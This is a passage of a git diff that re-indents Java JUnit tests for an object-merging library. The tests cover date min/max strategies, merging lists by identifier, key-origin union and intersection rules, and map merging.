wrap(d1, d2, d3); + Object result = minStrategy.merge(sources, fieldDef, "value"); + + assertEquals(d1, result); + } + + @Test + @DisplayName("Strategy handles nulls gracefully") + void handleNulls() { + LocalDate d1 = LocalDate.of(2020, 1, 1); + List> sources = wrap(null, d1, null); + + assertEquals(d1, maxStrategy.merge(sources, fieldDef, "value")); + assertEquals(d1, minStrategy.merge(sources, fieldDef, "value")); + } + + @Test + @DisplayName("Returns default value if all sources are null") + void allNullsReturnsDefault() { + fieldDef.setDefaultValue(null); + List> sources = wrap(null, null); + assertNull(maxStrategy.merge(sources, fieldDef, "value")); + + fieldDef.setDefaultValue( + "default"); // Just checking fallback mechanism, though type mismatch could happen + // in + // real usage if not careful + assertEquals("default", maxStrategy.merge(sources, fieldDef, "value")); + } + + // Helber to create sources where "source" is an object with a "value" field + // Or simply map merge calls to expect object having field. + // Wait, the strategies assume the source IS the object holding the field. + // So we need a simple wrapper class. + + private List> wrap(Object... values) { + if (values == null) return Collections.emptyList(); + return Arrays.stream(values) + .map(v -> new LabeledSource<>("test", new ValueWrapper(v))) + .collect(java.util.stream.Collectors.toList()); + } + + public static class ValueWrapper { + public Object value; + + public ValueWrapper(Object value) { + this.value = value; + } } - } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/strategy/list/DateAsIdentifierTest.java b/objectmerger/src/test/java/de/x132/objectmerger/strategy/list/DateAsIdentifierTest.java index 2ca59fc..4ae8c4c 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/strategy/list/DateAsIdentifierTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/strategy/list/DateAsIdentifierTest.java @@ -18,65 +18,65 @@ class DateAsIdentifierTest { - @Test - @DisplayName("Verify identifyBy works with LocalDate fields in Map-based merge") - void identifyByDate() { - // Scenario: List of Maps, where each map has a "date" field used as ID. - // Source A: [{date: 2020-01-01, val: "A"}] - // Source B: [{date: 2020-01-01, val: "B"}] - // Target: Merge these into one item because date matches. - - LocalDate date = LocalDate.of(2020, 1, 1); - - Map itemA = Map.of("date", date, "val", "A"); - Map itemB = Map.of("date", date, "val", "B"); - - List> listA = List.of(itemA); - List> listB = List.of(itemB); - - ListFieldDefinition listDef = - ListFieldDefinition.builder().strategy("mergeList").identifyBy("date").build(); - - PriorityFieldDefinition dateDef = - PriorityFieldDefinition.builder() - .strategy("priority") - .priority(java.util.Map.of("A", 1, "B", 2)) - .build(); - - PriorityFieldDefinition valDef = - PriorityFieldDefinition.builder().strategy("concatenate").build(); - - // Construct item definition - Map> itemFields = new HashMap<>(); - itemFields.put("date", dateDef); - itemFields.put("val", valDef); - - ItemMergeDefinition itemDef = new ItemMergeDefinition(); - itemDef.setDefinitions(itemFields); - listDef.setItemMergeDefinition(itemDef); - - Map> rootFields = new HashMap<>(); - rootFields.put("list", listDef); - - MergeDefinition def = new MergeDefinition(rootFields); - - Map sourceA = Map.of("list", listA); - Map sourceB = Map.of("list", listB); - - Map result = - ObjectMerger.merge( - def, new LabeledSource<>("A", sourceA), new LabeledSource<>("B", sourceB)); - - List> resultList = (List>) result.get("list"); - assertNotNull(resultList); - assertEquals(1, resultList.size()); - - Map mergedItem = resultList.get(0); - assertEquals(date, mergedItem.get("date")); - // "A,B" or "B,A" depending on priority (default is stable order or priority 0) - // Actually Concatenate sorts by priority. Here priority is default (0). - String val = (String) mergedItem.get("val"); - // Just check length or containment as order might vary if priority is equal - assertEquals(3, val.length()); - } + @Test + @DisplayName("Verify identifyBy works with LocalDate fields in Map-based merge") + void identifyByDate() { + // Scenario: List of Maps, where each map has a "date" field used as ID. + // Source A: [{date: 2020-01-01, val: "A"}] + // Source B: [{date: 2020-01-01, val: "B"}] + // Target: Merge these into one item because date matches. + + LocalDate date = LocalDate.of(2020, 1, 1); + + Map itemA = Map.of("date", date, "val", "A"); + Map itemB = Map.of("date", date, "val", "B"); + + List> listA = List.of(itemA); + List> listB = List.of(itemB); + + ListFieldDefinition listDef = + ListFieldDefinition.builder().strategy("mergeList").identifyBy("date").build(); + + PriorityFieldDefinition dateDef = + PriorityFieldDefinition.builder() + .strategy("priority") + .priority(java.util.Map.of("A", 1, "B", 2)) + .build(); + + PriorityFieldDefinition valDef = + PriorityFieldDefinition.builder().strategy("concatenate").build(); + + // Construct item definition + Map> itemFields = new HashMap<>(); + itemFields.put("date", dateDef); + itemFields.put("val", valDef); + + ItemMergeDefinition itemDef = new ItemMergeDefinition(); + itemDef.setDefinitions(itemFields); + listDef.setItemMergeDefinition(itemDef); + + Map> rootFields = new HashMap<>(); + rootFields.put("list", listDef); + + MergeDefinition def = new MergeDefinition(rootFields); + + Map sourceA = Map.of("list", listA); + Map sourceB = Map.of("list", listB); + + Map result = + ObjectMerger.merge( + def, new LabeledSource<>("A", sourceA), new LabeledSource<>("B", sourceB)); + + List> resultList = (List>) result.get("list"); + assertNotNull(resultList); + assertEquals(1, resultList.size()); + + Map mergedItem = resultList.get(0); + assertEquals(date, mergedItem.get("date")); + // "A,B" or "B,A" depending on priority (default is stable order or priority 0) + // Actually Concatenate sorts by priority. Here priority is default (0). + String val = (String) mergedItem.get("val"); + // Just check length or containment as order might vary if priority is equal + assertEquals(3, val.length()); + } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/strategy/list/ListKeyOriginTest.java b/objectmerger/src/test/java/de/x132/objectmerger/strategy/list/ListKeyOriginTest.java index 64c9211..a74eb25 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/strategy/list/ListKeyOriginTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/strategy/list/ListKeyOriginTest.java @@ -16,121 +16,126 @@ @DisplayName("List Key Origin / Template Logic Tests") class ListKeyOriginTest { - private ListMergeStrategy strategy; - private ListFieldDefinition fieldDef; - - @BeforeEach - void setUp() { - strategy = new ListMergeStrategy(); - strategy = new ListMergeStrategy(); - StandardFieldDefinition idDef = StandardFieldDefinition.builder().build(); - - ItemMergeDefinition itemDef = new ItemMergeDefinition(); - itemDef.setDefinitions(Map.of("id", idDef)); - - fieldDef = ListFieldDefinition.builder().identifyBy("id").itemMergeDefinition(itemDef).build(); - } - - @Test - @DisplayName("Should apply Union Logic (Template): Keep items present in Key Origins") - void testTemplateUnion() { - fieldDef.setKeyOriginLabels(List.of("A", "B")); - fieldDef.setRequirePresenceInAllKeyOrigins(false); - - List> sources = - createSources( - "A", List.of(Map.of("id", "1")), - "B", List.of(Map.of("id", "2")), - "C", List.of(Map.of("id", "3"))); - - @SuppressWarnings("unchecked") - List> result = - (List>) strategy.merge(sources, fieldDef, "items"); - - assertEquals(2, result.size()); - assertTrue(containsId(result, "1")); - assertTrue(containsId(result, "2")); - } - - @Test - @DisplayName("Should apply Intersection Logic: Keep items present in ALL Key Origins") - void testIntersectionStrict() { - fieldDef.setKeyOriginLabels(List.of("A", "B")); - fieldDef.setRequirePresenceInAllKeyOrigins(true); - - List> sources = - createSources( - "A", - List.of(Map.of("id", "1"), Map.of("id", "2"), Map.of("id", "4")), - "B", - List.of(Map.of("id", "2"), Map.of("id", "3"), Map.of("id", "4")), - "C", - List.of(Map.of("id", "1"), Map.of("id", "2"), Map.of("id", "3"), Map.of("id", "4"))); - - @SuppressWarnings("unchecked") - List> result = - (List>) strategy.merge(sources, fieldDef, "items"); - - assertEquals(2, result.size()); - assertTrue(containsId(result, "2")); - assertTrue(containsId(result, "4")); - } - - @Test - @DisplayName( - "Should allow intersection of ALL sources if Key Origins list is implicitly All (Wait, logic requires explicit list for intersection?)") - void testIntersectionExplicitAll() { - fieldDef.setKeyOriginLabels(List.of("A", "B")); - fieldDef.setRequirePresenceInAllKeyOrigins(true); - - List> sources = - createSources( - "A", List.of(Map.of("id", "1")), - "B", List.of(Map.of("id", "1"))); - - @SuppressWarnings("unchecked") - List> result = - (List>) strategy.merge(sources, fieldDef, "items"); - assertEquals(1, result.size()); - assertTrue(containsId(result, "1")); - } - - @Test - @DisplayName("Should keep item if it is in Key Origin (Mixed Sources)") - void testMixedSourcesTemplate() { - fieldDef.setKeyOriginLabels(List.of("A")); - - List> sources = - createSources( - "A", List.of(Map.of("id", "1")), - "B", List.of(Map.of("id", "1"), Map.of("id", "2"))); - - @SuppressWarnings("unchecked") - List> result = - (List>) strategy.merge(sources, fieldDef, "items"); - - assertEquals(1, result.size()); - assertTrue(containsId(result, "1")); - } - - private List> createSources( - String label1, List list1, String label2, List list2) { - List> sources = new ArrayList<>(); - sources.add(new LabeledSource<>(label1, Map.of("items", list1))); - sources.add(new LabeledSource<>(label2, Map.of("items", list2))); - return sources; - } - - private List> createSources( - String l1, List li1, String l2, List li2, String l3, List li3) { - List> sources = new ArrayList<>(); - sources.add(new LabeledSource<>(l1, Map.of("items", li1))); - sources.add(new LabeledSource<>(l2, Map.of("items", li2))); - sources.add(new LabeledSource<>(l3, Map.of("items", li3))); - return sources; - } - - private boolean containsId(List> result, String id) { - return result.stream().anyMatch(m -> id.equals(m.get("id"))); - } + private ListMergeStrategy strategy; + private ListFieldDefinition fieldDef; + + @BeforeEach + void setUp() { + strategy = new ListMergeStrategy(); + strategy = new ListMergeStrategy(); + StandardFieldDefinition idDef = StandardFieldDefinition.builder().build(); + + ItemMergeDefinition itemDef = new ItemMergeDefinition(); + itemDef.setDefinitions(Map.of("id", idDef)); + + fieldDef = + ListFieldDefinition.builder().identifyBy("id").itemMergeDefinition(itemDef).build(); + } + + @Test + @DisplayName("Should apply Union Logic (Template): Keep items present in Key Origins") + void testTemplateUnion() { + fieldDef.setKeyOriginLabels(List.of("A", "B")); + fieldDef.setRequirePresenceInAllKeyOrigins(false); + + List> sources = + createSources( + "A", List.of(Map.of("id", "1")), + "B", List.of(Map.of("id", "2")), + "C", List.of(Map.of("id", "3"))); + + @SuppressWarnings("unchecked") + List> result = + (List>) strategy.merge(sources, fieldDef, "items"); + + assertEquals(2, result.size()); + assertTrue(containsId(result, "1")); + assertTrue(containsId(result, "2")); + } + + @Test + @DisplayName("Should apply Intersection Logic: Keep items present in ALL Key Origins") + void testIntersectionStrict() { + fieldDef.setKeyOriginLabels(List.of("A", "B")); + fieldDef.setRequirePresenceInAllKeyOrigins(true); + + List> sources = + createSources( + "A", + List.of(Map.of("id", "1"), Map.of("id", "2"), Map.of("id", "4")), + "B", + List.of(Map.of("id", "2"), Map.of("id", "3"), Map.of("id", "4")), + "C", + List.of( + Map.of("id", "1"), + Map.of("id", "2"), + Map.of("id", "3"), + Map.of("id", "4"))); + + @SuppressWarnings("unchecked") + List> result = + (List>) strategy.merge(sources, fieldDef, "items"); + + assertEquals(2, result.size()); + assertTrue(containsId(result, "2")); + assertTrue(containsId(result, "4")); + } + + @Test + @DisplayName( + "Should allow intersection of ALL sources if Key Origins list is implicitly All (Wait, logic requires explicit list for intersection?)") + void testIntersectionExplicitAll() { + fieldDef.setKeyOriginLabels(List.of("A", "B")); + fieldDef.setRequirePresenceInAllKeyOrigins(true); + + List> sources = + createSources( + "A", List.of(Map.of("id", "1")), + "B", List.of(Map.of("id", "1"))); + + @SuppressWarnings("unchecked") + List> result = + (List>) strategy.merge(sources, fieldDef, "items"); + assertEquals(1, result.size()); + assertTrue(containsId(result, "1")); + } + + @Test + @DisplayName("Should keep item if it is in Key Origin (Mixed Sources)") + void testMixedSourcesTemplate() { + fieldDef.setKeyOriginLabels(List.of("A")); + + List> sources = + createSources( + "A", List.of(Map.of("id", "1")), + "B", List.of(Map.of("id", "1"), Map.of("id", "2"))); + + @SuppressWarnings("unchecked") + List> result = + (List>) strategy.merge(sources, fieldDef, "items"); + + assertEquals(1, result.size()); + assertTrue(containsId(result, "1")); + } + + private List> createSources( + String label1, List list1, String label2, List list2) { + List> sources = new ArrayList<>(); + sources.add(new LabeledSource<>(label1, Map.of("items", list1))); + sources.add(new LabeledSource<>(label2, Map.of("items", list2))); + return sources; + } + + private List> createSources( + String l1, List li1, String l2, List li2, String l3, List li3) { + List> sources = new ArrayList<>(); + sources.add(new LabeledSource<>(l1, Map.of("items", li1))); + sources.add(new LabeledSource<>(l2, Map.of("items", li2))); + sources.add(new LabeledSource<>(l3, Map.of("items", li3))); + return sources; + } + + private boolean containsId(List> result, String id) { + return result.stream().anyMatch(m -> id.equals(m.get("id"))); + } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/strategy/list/ListMergeStrategyTest.java b/objectmerger/src/test/java/de/x132/objectmerger/strategy/list/ListMergeStrategyTest.java index f3500ed..832d8d2 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/strategy/list/ListMergeStrategyTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/strategy/list/ListMergeStrategyTest.java @@ -25,162 +25,166 @@ @DisplayName("ListMergeStrategy Tests") class ListMergeStrategyTest { - private ListMergeStrategy strategy; - private ListFieldDefinition> fieldDef; - private ItemMergeDefinition itemMergeDefinition; - - @BeforeEach - void setUp() { - strategy = new ListMergeStrategy(); - fieldDef = mock(ListFieldDefinition.class); - itemMergeDefinition = mock(ItemMergeDefinition.class); - when(fieldDef.getItemMergeDefinition()).thenReturn(itemMergeDefinition); - } - - @Test - @DisplayName("Should instantiate ListMergeStrategy without errors") - void testStrategyInstantiation() { - // Arrange & Act & Assert - assertNotNull(strategy); - assertTrue(strategy instanceof MergeStrategy); - } - - @Test - @DisplayName("Should handle empty sources list") - void testMergeWithEmptySources() { - // Arrange - String fieldName = "items"; - List> sources = new ArrayList<>(); - - // Act & Assert - should handle empty list gracefully - assertDoesNotThrow( - () -> { - Object result = strategy.merge(sources, fieldDef, fieldName); - assertNotNull(result); - assertTrue(result instanceof List); - assertTrue(((List) result).isEmpty()); - }); - } - - @Test - @DisplayName("Should implement MergeStrategy interface correctly") - void testMergeStrategyInterface() { - // Arrange & Act & Assert - assertTrue(strategy instanceof MergeStrategy); - } - - @Test - @DisplayName("Should have correct merge method signature") - void testMergeMethodSignature() { - // Arrange - String fieldName = "items"; - List> sources = new ArrayList<>(); - - when(fieldDef.getIdentifyBy()).thenReturn("id"); - - // Act & Assert - verify method can be called with correct signature - assertDoesNotThrow( - () -> { - Object result = strategy.merge(sources, fieldDef, fieldName); - assertNotNull(result); - }); - } - - @Test - @DisplayName("Should return List type from merge") - void testMergeReturnsListType() { - // Arrange - String fieldName = "items"; - List> sources = new ArrayList<>(); - - when(fieldDef.getIdentifyBy()).thenReturn("id"); - - // Act - Object result = strategy.merge(sources, fieldDef, fieldName); - - // Assert - assertTrue(result instanceof List); - } - - @Test - @DisplayName("Should merge lists by ID") - void testMergeListsById() { - // Arrange - // We need an ItemMergeDefinition to tell how to merge the items - ItemMergeDefinition itemDef = new ItemMergeDefinition(); - itemDef.setTargetClass(TestItem.class.getName()); - - // Let's add a definition for 'name' to use priority - PriorityFieldDefinition nameDef = - PriorityFieldDefinition.builder().strategy("priority").build(); - StandardFieldDefinition idDef = StandardFieldDefinition.builder().build(); - itemDef.setDefinitions(Map.of("name", nameDef, "id", idDef)); - - ListFieldDefinition> fieldDef = - ListFieldDefinition.>builder() - .identifyBy("id") - .itemMergeDefinition(itemDef) - .build(); - - TestItem item1a = new TestItem("1", "A"); - TestItem item2a = new TestItem("2", "B"); // Will be merged - List list1 = List.of(item1a, item2a); - - TestItem item2b = new TestItem("2", "B_Updated"); // Should override B if source is later - TestItem item3b = new TestItem("3", "C"); - List list2 = List.of(item2b, item3b); - - List> sources = new ArrayList<>(); - // Source 1 - TestContainer container1 = new TestContainer(list1); - sources.add(new LabeledSource<>("s1", container1)); - - // Source 2 (higher priority implicitly by order if using standard priority?) - // Actually PriorityStrategy needs explicit priority mapping usually, - // or it picks first/last depending on implementation. - // Standard PriorityStrategy uses "source_1": 1 config. - // Let's just use "standard" strategy for name which usually means "last one - // wins" or arbitrary? - // Wait, StandardMergeStrategy is empty. PriorityStrategy needs config. - // PriorityStrategy uses min() logic (1 is higher priority than 2) - nameDef.setPriority(Map.of("s1", 2, "s2", 1)); - - TestContainer container2 = new TestContainer(list2); - sources.add(new LabeledSource<>("s2", container2)); - - // Act - @SuppressWarnings("unchecked") - List result = (List) (List) strategy.merge(sources, fieldDef, "members"); - - // Assert - assertNotNull(result); - assertEquals(3, result.size()); - - // Check ID 1 (only in s1) - TestItem res1 = result.stream().filter(i -> i.getId().equals("1")).findFirst().orElseThrow(); - assertEquals("A", res1.getName()); - - // Check ID 2 (in s1 and s2) -> s2 has higher priority (2 > 1) - TestItem res2 = result.stream().filter(i -> i.getId().equals("2")).findFirst().orElseThrow(); - assertEquals("B_Updated", res2.getName()); - - // Check ID 3 (only in s2) - TestItem res3 = result.stream().filter(i -> i.getId().equals("3")).findFirst().orElseThrow(); - assertEquals("C", res3.getName()); - } - - /** Test helper classes */ - @Data - @AllArgsConstructor - @NoArgsConstructor - public static class TestItem { - private String id; - private String name; - } - - @Data - @AllArgsConstructor - public static class TestContainer { - private List members; - } + private ListMergeStrategy strategy; + private ListFieldDefinition> fieldDef; + private ItemMergeDefinition itemMergeDefinition; + + @BeforeEach + void setUp() { + strategy = new ListMergeStrategy(); + fieldDef = mock(ListFieldDefinition.class); + itemMergeDefinition = mock(ItemMergeDefinition.class); + when(fieldDef.getItemMergeDefinition()).thenReturn(itemMergeDefinition); + } + + @Test + @DisplayName("Should instantiate ListMergeStrategy without errors") + void testStrategyInstantiation() { + // Arrange & Act & Assert + assertNotNull(strategy); + assertTrue(strategy instanceof MergeStrategy); + } + + @Test + @DisplayName("Should handle empty sources list") + void testMergeWithEmptySources() { + // Arrange + String fieldName = "items"; + List> sources = new ArrayList<>(); + + // Act & Assert - should handle empty list gracefully + assertDoesNotThrow( + () -> { + Object result = strategy.merge(sources, fieldDef, fieldName); + assertNotNull(result); + assertTrue(result instanceof List); + assertTrue(((List) result).isEmpty()); + }); + } + + @Test + @DisplayName("Should implement MergeStrategy interface correctly") + void testMergeStrategyInterface() { + // Arrange & Act & Assert + assertTrue(strategy instanceof MergeStrategy); + } + + @Test + @DisplayName("Should have correct merge method signature") + void testMergeMethodSignature() { + // Arrange + String fieldName = "items"; + List> sources = new ArrayList<>(); + + when(fieldDef.getIdentifyBy()).thenReturn("id"); + + // Act & Assert - verify method can be called with correct signature + assertDoesNotThrow( + () -> { + Object result = strategy.merge(sources, fieldDef, fieldName); + assertNotNull(result); + }); + } + + @Test + @DisplayName("Should return List type from merge") + void testMergeReturnsListType() { + // Arrange + String fieldName = "items"; + List> sources = new ArrayList<>(); + + when(fieldDef.getIdentifyBy()).thenReturn("id"); + + // Act + Object result = strategy.merge(sources, fieldDef, fieldName); + + // Assert + assertTrue(result instanceof List); + } + + @Test + @DisplayName("Should merge lists by ID") + void testMergeListsById() { + // Arrange + // We need an ItemMergeDefinition to tell how to merge the items + ItemMergeDefinition itemDef = new ItemMergeDefinition(); + itemDef.setTargetClass(TestItem.class.getName()); + + // Let's add a definition for 'name' to use priority + PriorityFieldDefinition nameDef = + PriorityFieldDefinition.builder().strategy("priority").build(); + StandardFieldDefinition idDef = StandardFieldDefinition.builder().build(); + itemDef.setDefinitions(Map.of("name", nameDef, "id", idDef)); + + ListFieldDefinition> fieldDef = + ListFieldDefinition.>builder() + .identifyBy("id") + .itemMergeDefinition(itemDef) + .build(); + + TestItem item1a = new TestItem("1", "A"); + TestItem item2a = new TestItem("2", "B"); // Will be merged + List list1 = List.of(item1a, item2a); + + TestItem item2b = new TestItem("2", "B_Updated"); // Should override B if source is later + TestItem item3b = new TestItem("3", "C"); + List list2 = List.of(item2b, item3b); + + List> sources = new ArrayList<>(); + // Source 1 + TestContainer container1 = new TestContainer(list1); + sources.add(new LabeledSource<>("s1", container1)); + + // Source 2 (higher priority implicitly by order if using standard priority?) + // Actually PriorityStrategy needs explicit priority mapping usually, + // or it picks first/last depending on implementation. + // Standard PriorityStrategy uses "source_1": 1 config. + // Let's just use "standard" strategy for name which usually means "last one + // wins" or arbitrary? + // Wait, StandardMergeStrategy is empty. PriorityStrategy needs config. + // PriorityStrategy uses min() logic (1 is higher priority than 2) + nameDef.setPriority(Map.of("s1", 2, "s2", 1)); + + TestContainer container2 = new TestContainer(list2); + sources.add(new LabeledSource<>("s2", container2)); + + // Act + @SuppressWarnings("unchecked") + List result = + (List) (List) strategy.merge(sources, fieldDef, "members"); + + // Assert + assertNotNull(result); + assertEquals(3, result.size()); + + // Check ID 1 (only in s1) + TestItem res1 = + result.stream().filter(i -> i.getId().equals("1")).findFirst().orElseThrow(); + assertEquals("A", res1.getName()); + + // Check ID 2 (in s1 and s2) -> s2 has higher priority (2 > 1) + TestItem res2 = + result.stream().filter(i -> i.getId().equals("2")).findFirst().orElseThrow(); + assertEquals("B_Updated", res2.getName()); + + // Check ID 3 (only in s2) + TestItem res3 = + result.stream().filter(i -> i.getId().equals("3")).findFirst().orElseThrow(); + assertEquals("C", res3.getName()); + } + + /** Test helper classes */ + @Data + @AllArgsConstructor + @NoArgsConstructor + public static class TestItem { + private String id; + private String name; + } + + @Data + @AllArgsConstructor + public static class TestContainer { + private List members; + } } diff --git a/objectmerger/src/test/java/de/x132/objectmerger/strategy/map/MapMergeStrategyTest.java b/objectmerger/src/test/java/de/x132/objectmerger/strategy/map/MapMergeStrategyTest.java index 21a64a3..f2dc4d7 100644 --- a/objectmerger/src/test/java/de/x132/objectmerger/strategy/map/MapMergeStrategyTest.java +++ b/objectmerger/src/test/java/de/x132/objectmerger/strategy/map/MapMergeStrategyTest.java @@ -16,228 +16,242 @@ class MapMergeStrategyTest { - private final MapMergeStrategy strategy = new MapMergeStrategy(); + private final MapMergeStrategy strategy = new MapMergeStrategy(); - static class TestObject { - public Map mapField = new HashMap<>(); + static class TestObject { + public Map mapField = new HashMap<>(); - TestObject(Map mapField) { - this.mapField = mapField; + TestObject(Map mapField) { + this.mapField = mapField; + } + } + + @Test + @DisplayName("Should instantiate strategy") + void testInstantiation() { + assertNotNull(strategy); + } + + @Test + @DisplayName("Should merge maps with same keys") + void testMergeMapsWithSameKeys() { + Map map1 = new HashMap<>(); + map1.put("key1", "value1"); + + Map map2 = new HashMap<>(); + map2.put("key1", "value1Different"); + + TestObject obj1 = new TestObject(map1); + TestObject obj2 = new TestObject(map2); + + List> sources = + List.of(new LabeledSource<>("db", obj1), new LabeledSource<>("api", obj2)); + + @SuppressWarnings("unchecked") + Map result = + (Map) + strategy.merge( + sources, + MapFieldDefinition.>builder().build(), + "mapField"); + assertNotNull(result); + assertTrue(result.containsKey("key1")); + } + + @Test + @DisplayName("Should handle empty sources") + void testEmptySources() { + Object result = strategy.merge(List.of(), null, "mapField"); + assertNotNull(result); + } + + @Test + @DisplayName("Should handle single source") + void testSingleSource() { + Map map = new HashMap<>(); + map.put("key1", "value1"); + + TestObject obj = new TestObject(map); + + List> sources = List.of(new LabeledSource<>("db", obj)); + + @SuppressWarnings("unchecked") + Map result = + (Map) + strategy.merge( + sources, + MapFieldDefinition.>builder().build(), + "mapField"); + assertNotNull(result); + } + + @Test + @DisplayName("Should handle null maps") + void testNullMaps() { + TestObject obj = new TestObject(null); + + List> sources = List.of(new LabeledSource<>("db", obj)); + + Object result = + strategy.merge( + sources, + MapFieldDefinition.>builder().build(), + "mapField"); + assertNotNull(result); + } + + @Test + @DisplayName("Should merge multiple sources and keep keys from ALL maps (default union)") + void testMultipleSources() { + Map map1 = new HashMap<>(); + map1.put("key1", "value1"); + + Map map2 = new HashMap<>(); + map2.put("key2", "value2"); + + TestObject obj1 = new TestObject(map1); + TestObject obj2 = new TestObject(map2); + + List> sources = + List.of(new LabeledSource<>("db", obj1), new LabeledSource<>("api", obj2)); + + @SuppressWarnings("unchecked") + Map result = + (Map) + strategy.merge( + sources, + MapFieldDefinition.>builder().build(), + "mapField"); + assertNotNull(result); + // Union behavior: Both keys should be present + assertTrue(result.containsKey("key1")); + assertTrue(result.containsKey("key2")); + } + + @Test + @DisplayName("Should strictly follow the template map keys when configured") + void testMapTemplateBehavior() { + Map leaderMap = new HashMap<>(); + leaderMap.put("common", "leaderValue"); + leaderMap.put("leaderOnly", "leaderValue"); + + Map followerMap = new HashMap<>(); + followerMap.put("common", "followerValue"); + followerMap.put("followerOnly", "followerValue"); + + TestObject obj1 = new TestObject(leaderMap); + TestObject obj2 = new TestObject(followerMap); + + List> sources = + List.of(new LabeledSource<>("leader", obj1), new LabeledSource<>("follower", obj2)); + + // Configure strictly using "leader" as template + MapFieldDefinition> def = + MapFieldDefinition.>builder() + .keyTemplateSources(List.of("leader")) + .build(); + + @SuppressWarnings("unchecked") + Map result = (Map) strategy.merge(sources, def, "mapField"); + assertNotNull(result); + + // Should contain keys from leader + assertTrue(result.containsKey("common")); + assertTrue(result.containsKey("leaderOnly")); + + // Should NOT contain keys that are only in follower + assertFalse( + result.containsKey("followerOnly"), + "Should not contain keys only present in follower map"); + } + + @Test + @DisplayName("Should use first value as priority") + void testPriorityBehavior() { + Map map1 = new HashMap<>(); + map1.put("key1", "valueFromFirst"); + + Map map2 = new HashMap<>(); + map2.put("key1", "valueFromSecond"); + + TestObject obj1 = new TestObject(map1); + TestObject obj2 = new TestObject(map2); + + List> sources = + List.of(new LabeledSource<>("db", obj1), new LabeledSource<>("api", obj2)); + + @SuppressWarnings("unchecked") + Map result = + (Map) + strategy.merge( + sources, + MapFieldDefinition.>builder().build(), + "mapField"); + assertNotNull(result); + assertTrue(result.containsKey("key1")); + } + + @Test + @DisplayName("Should merge nested maps recursively if item definition is present") + void testRecursiveMapMerge() { + // Inner Maps (Values) + Map inner1 = new HashMap<>(); + inner1.put("v1", 1); + + Map inner2 = new HashMap<>(); + inner2.put("v2", 2); + + // Outer Maps (Sources for MapMergeStrategy) + Map outer1 = new HashMap<>(); + outer1.put("key1", inner1); + + Map outer2 = new HashMap<>(); + outer2.put("key1", inner2); + + // Wrapper for ObjectMerger.getFieldValue extraction + Map wrapper1 = new HashMap<>(); + wrapper1.put("root", outer1); + + Map wrapper2 = new HashMap<>(); + wrapper2.put("root", outer2); + + List> mergeSources = + List.of(new LabeledSource<>("s1", wrapper1), new LabeledSource<>("s2", wrapper2)); + + MapFieldDefinition> def = + MapFieldDefinition.>builder().build(); + + // Define how to merge the VALUES of the outer map (which are inner maps) + ItemMergeDefinition itemDef = new ItemMergeDefinition(); + itemDef.setTargetClass(HashMap.class.getName()); + + // We must define the keys of the inner map we want to merge + StandardFieldDefinition stdDef = StandardFieldDefinition.builder().build(); + itemDef.setDefinitions(Map.of("v1", stdDef, "v2", stdDef)); + + def = + MapFieldDefinition.>builder() + .itemMergeDefinition(itemDef) + .build(); + + @SuppressWarnings("unchecked") + Map result = + (Map) (Map) strategy.merge(mergeSources, def, "root"); + // Result should be the merged outer map + assertNotNull(result); + assertTrue(result.containsKey("key1"), "Result should have key1"); + + Object mergedInner = result.get("key1"); + assertNotNull(mergedInner); + assertTrue(mergedInner instanceof Map, "Inner value should be a map"); + + @SuppressWarnings("unchecked") + Map innerMap = (Map) mergedInner; + + // Check if inner values were merged based on definitions + assertTrue(innerMap.containsKey("v1")); + assertTrue(innerMap.containsKey("v2")); + assertEquals(1, (Integer) innerMap.get("v1")); + assertEquals(2, (Integer) innerMap.get("v2")); } - } - - @Test - @DisplayName("Should instantiate strategy") - void testInstantiation() { - assertNotNull(strategy); - } - - @Test - @DisplayName("Should merge maps with same keys") - void testMergeMapsWithSameKeys() { - Map map1 = new HashMap<>(); - map1.put("key1", "value1"); - - Map map2 = new HashMap<>(); - map2.put("key1", "value1Different"); - - TestObject obj1 = new TestObject(map1); - TestObject obj2 = new TestObject(map2); - - List> sources = - List.of(new LabeledSource<>("db", obj1), new LabeledSource<>("api", obj2)); - - @SuppressWarnings("unchecked") - Map result = - (Map) - strategy.merge( - sources, MapFieldDefinition.>builder().build(), "mapField"); - assertNotNull(result); - assertTrue(result.containsKey("key1")); - } - - @Test - @DisplayName("Should handle empty sources") - void testEmptySources() { - Object result = strategy.merge(List.of(), null, "mapField"); - assertNotNull(result); - } - - @Test - @DisplayName("Should handle single source") - void testSingleSource() { - Map map = new HashMap<>(); - map.put("key1", "value1"); - - TestObject obj = new TestObject(map); - - List> sources = List.of(new LabeledSource<>("db", obj)); - - @SuppressWarnings("unchecked") - Map result = - (Map) - strategy.merge( - sources, MapFieldDefinition.>builder().build(), "mapField"); - assertNotNull(result); - } - - @Test - @DisplayName("Should handle null maps") - void testNullMaps() { - TestObject obj = new TestObject(null); - - List> sources = List.of(new LabeledSource<>("db", obj)); - - Object result = - strategy.merge( - sources, MapFieldDefinition.>builder().build(), "mapField"); - assertNotNull(result); - } - - @Test - @DisplayName("Should merge multiple sources and keep keys from ALL maps (default union)") - void testMultipleSources() { - Map map1 = new HashMap<>(); - map1.put("key1", "value1"); - - Map map2 = new HashMap<>(); - map2.put("key2", "value2"); - - TestObject obj1 = new TestObject(map1); - TestObject obj2 = new TestObject(map2); - - List> sources = - List.of(new LabeledSource<>("db", obj1), new LabeledSource<>("api", obj2)); - - @SuppressWarnings("unchecked") - Map result = - (Map) - strategy.merge( - sources, MapFieldDefinition.>builder().build(), "mapField"); - assertNotNull(result); - // Union behavior: Both keys should be present - assertTrue(result.containsKey("key1")); - assertTrue(result.containsKey("key2")); - } - - @Test - @DisplayName("Should strictly follow the template map keys when configured") - void testMapTemplateBehavior() { - Map leaderMap = new HashMap<>(); - leaderMap.put("common", "leaderValue"); - leaderMap.put("leaderOnly", "leaderValue"); - - Map followerMap = new HashMap<>(); - followerMap.put("common", "followerValue"); - followerMap.put("followerOnly", "followerValue"); - - TestObject obj1 = new TestObject(leaderMap); - TestObject obj2 = new TestObject(followerMap); - - List> sources = - List.of(new LabeledSource<>("leader", obj1), new LabeledSource<>("follower", obj2)); - - // Configure strictly using "leader" as template - MapFieldDefinition> def = - MapFieldDefinition.>builder() - .keyTemplateSources(List.of("leader")) - .build(); - - @SuppressWarnings("unchecked") - Map result 